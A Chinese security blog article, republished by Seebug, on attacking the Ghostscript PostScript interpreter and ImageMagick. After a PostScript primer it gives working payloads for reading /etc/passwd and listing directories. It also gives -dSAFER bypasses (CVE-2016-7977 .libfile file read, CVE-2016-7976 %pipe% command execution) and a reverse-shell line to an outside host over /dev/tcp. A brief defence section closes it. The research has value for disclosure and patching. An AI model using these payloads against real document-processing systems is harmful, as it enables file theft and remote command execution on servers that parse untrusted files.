來源鏈接:http://drops.wiki/index.php/2016/10/15/postscript

Author:數據流(Flyin9_L)

前言:主流的東西太多了,還是研究一些非主流的語言好玩。PostScript(PS)是一種頁面描述性語言,由Adobe開發,后由Apple推進發展。開始是應用于工業印刷繪圖排版,現在廣泛適用于打印機。雖然PostScript是比較冷門的語言,但與我們比較熟悉的PDF的部分元素也是由PostScript語言編寫。利用PS的特性與弱點可對解析器與打印機進行攻擊,而一些基礎組件例如ImageMagick解析ps文件時會依賴外部解析器,所以也可對IM進行攻擊。

0x00 PostScript語言入門

由于一般PS語言由機器自動生成,因此關于手寫PS語言的資料非常罕見,只能從老外一些零星的資料與解析器的官方文檔進行了解。這里我也順便講解下PS語言的基礎,因為PS語言的中文資料寥寥無幾。

用PS繪圖,其實這語言都是繪圖排版的。

(繪出Hello world)

因為PS是一種頁面描述語言,關于繪圖部分的基礎我就不說了我也不了解。

解析器:Ghostscript,是可跨平臺的PostScript語言解析器。可將PS語言繪圖出來,PS與PDF互相轉換,并帶有命令行版本。現在Linux發行版本都會自帶Ghostscript。

文件一般是.PS后綴,且文件頭是%!PS,在PS中 %是注釋符。

PostScript是一種基于堆棧的解釋語言,而且操作符都是在后的。作為一名WEB狗表示不太習慣。

例:

求 1+2 ,在PS中表示 1 2 add

在解析器中,先把 2 1放進堆棧中,然后使用操作符 add使兩者相加然后再把結果放入堆棧中。

== 表示將棧頂中的元素出棧并打印

PostScript最重要就是堆棧操作符:dup pop exch roll copy index

PS也支持定義過程,類似于function

我再舉一個簡單的例子:

%!PS

/test {pop dup sub 0 index mul} def

1 2 test ==

quit

最后結果是0

“/”是定義過程名稱的符號,其他操作符熟悉其他語言的看字面都能猜出是什么作用了。在PS中過程不像我們其他語言一樣直接跳到函數執行而是把位置替換而已。上面幾行代碼可以寫成

1 2 pop dup sub 0 index mul ==

解析一下流程:1 2入棧,pop把2出棧,dup復制棧頂然后sub把兩者相減,0 index 取棧堆上第0個元素并入棧,mul把棧頂兩個元素相減,==打印棧頂元素并出棧。

pstack操作符可以打印當前棧的所有元素

這就是PostScript的基本語法,其他數據類型就不說了(這語言我也不精通啊)。

0x01 任意目錄遍歷/文件讀取漏洞

雖然PostScript是頁面描述語言,但也有自己的文件操作符,我們可以利用這個比較文件操作符do some bad。

不知道為何一個繪圖排版打印用的語言也要提供如此豐富的文件操作符。

根據文檔的文件操作符的關鍵字可以寫出以下讀取文件的代碼:

%!PS

/buff 1024 string def              % 定義一個1024字節大小的空間

/file_obj (/etc/passwd) (r) file def

% 定義一個文件對象并讀取/etc/passwd文件

file_obj buff readstring      %用readstring操作符把文件對象的數據放入buff

buff print

quit

當一些網站基于解析器解析ps或pdf并返回結果的話就會被讀取文件。

目錄遍歷:

PostScript的filenameforall操作符可以使用通配符匹配文件 所以可以利用這個來遍歷目錄。

%PS

(/home/*) {==} 256 string filenameforall 

0x02 Ghostscript安全模式與ImageMagick影響

由于上述的問題,Ghostscript增加了安全模式。

啟動時 加上參數 -dSAFER

Error: /invalidfileaccess in –file–

Operand stack:

   file_obj   (/etc/passwd)   (r)

Execution stack:

   %interp_exit

啟動安全模式后,file系列操作符將被禁止,而在ImageMagick的PS解析器中是以安全模式啟動的,所以無法直接使用以上payload進行攻擊。但目錄遍歷可以。

使用ImageMagick套件的identify與convert都可以成功讀取文件目錄,當網站使用IM解析PS文件時并直接返回結果時就會出現風險

0x03 GhostScript安全模式繞過&ImageMagick遠程文件讀取漏洞

當GS開發了安全模式后,也不再承認那些類似的缺陷了。但PostScript原生有很多非主流的高級操作符,bypass輕輕松松。

前不久Google安全研究員taviso發現了利用.libfile可以用來bypass安全模式(膜拜google大神,之前本人因為研究PS與他相識并討論過,本文繞過安全模式的漏洞成果都是出自于他)

CVE-2016-7977 .libfile bypass -dSAFER 文件讀取漏洞

%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont
/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newlinea
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        dup         % copy read string
        print       % write to stdout
        % write to output
        newpath 0 0 moveto show showpage
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def
(/etc/passwd) /dumpname load 256 string filenameforall

這是taviso原來的payload,很復雜,他表示也非常討厭這語言。但其實可以精簡。

Taviso后來也精簡了,最后我精簡出最短payload

%!PS

(/etc/passwd) .libfile {

256 string readstring

} if

{print} if

quit

成功繞過安全模式讀取文件

影響ImageMagick

IM最新版也影響

0x04 Bypass安全模式遠程命令執行漏洞

前段時間的研究中我發現了一個遠程命令執行漏洞

Ghostscript文檔顯示outputfile功能是使用popen函數處理,由于popen函數可以執行系統命令,所以可以直接注入命令。

(which opens a pipe on the given command. This is supported only on operating systems that provide popen (primarily Unix systems, and not all of those).

ghostscript -sDEVICE=pdfwrite -sOutputFile=%pipe%id 參數執行成功

嘗試直接使用PS代碼執行 這幾行payload搞了我很久,PS語言確實太麻煩了。

Payload:

%!PS

mark

/OutputFile (%pipe%id)     %設置輸出外部文件路徑名注入命令

(pdfwrite)finddevice       % 使用pdfwrite驅動

putdeviceprops                           

setdevice                                       %設置完成并啟動

quit

成功執行id命令,若要反彈shell就使用

%pipe%bash -i >& /dev/tcp/****.com/443 0>&1> /dev/tty.

當我興高采烈去提交這個與其他一些問題后,官方給我回復說我們有安全模式,這些問題在安全模式是無法啟用的。

Error: /invalidaccess in –setdevice–

Operand stack:

   –nostringval–

Execution stack:

   %interp_exit   .runexec2   –nostringval–   –nostringval–   —

在安全模式下,setdevice操作符被禁止了。但開啟安全模式是用戶選擇的,我相信很多用戶都沒有用安全模式!只要你解析我的PS文件就shell了。

在這個時候taviso又繞過了安全模式,可以無視-dSAFER執行系統命令。

CVE-2016-7976 (他在9月份30號發現提交的)

繞過是原理還是使用了非主流的操作符,因為類似功能的操作符不止一個,但官方只禁止了常用的。

putdeviceparams

Payload:

%!PS

currentdevice null true mark /OutputICCProfile (%pipe%id > /dev/tty)

.putdeviceparams

quit

使用OutputICCProfile 代替了原本的OutputFile

putdeviceparams代替了putdeviceprops

OutputICCProfile這個關鍵字在官方文檔并沒有介紹的。。是從源代碼翻出來的。

成功繞過安全模式執行系統命令。

雖然在Ghostscript能執行,但ImageMagick卻不行。可理論上是會影響的,但不知道為何不能。Taviso也說不知道為何IM執行不了,或許是參數問題,總之也存在風險。我也試了好幾個版本都不能執行,返回空白。希望更熟悉IM的朋友可以去嘗試下。

0x05 總結&漏洞防御

本文我講述了基于PostScript的基本語法與一些攻擊方法,漏洞基本上都在解析器Ghostscript中,可導致遠程命令執行,另外也會對ImageMagick造成一些影響。Ghostscript在linux發行版都會自帶,建議有使用Ghostscript和ImageMagick對PS文件或者PDF文件進行處理的系統,請盡快到官方升級Ghostscript,開啟-dSAFER安全模式。并請不要使用Ghostscript打開來比不明的.PS文件,需要進行格式轉換的系統可對用戶傳入的文件進行對以上payload關鍵字攔截。

0x06 參考文獻

https://en.wikipedia.org/wiki/PostScript

http://www.openwall.com/lists/oss-security/2016/09/30/8

http://bugs.ghostscript.com/

http://www.ghostscript.com/doc/

作者郵箱: FlyingLee95@gmail.com


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/68/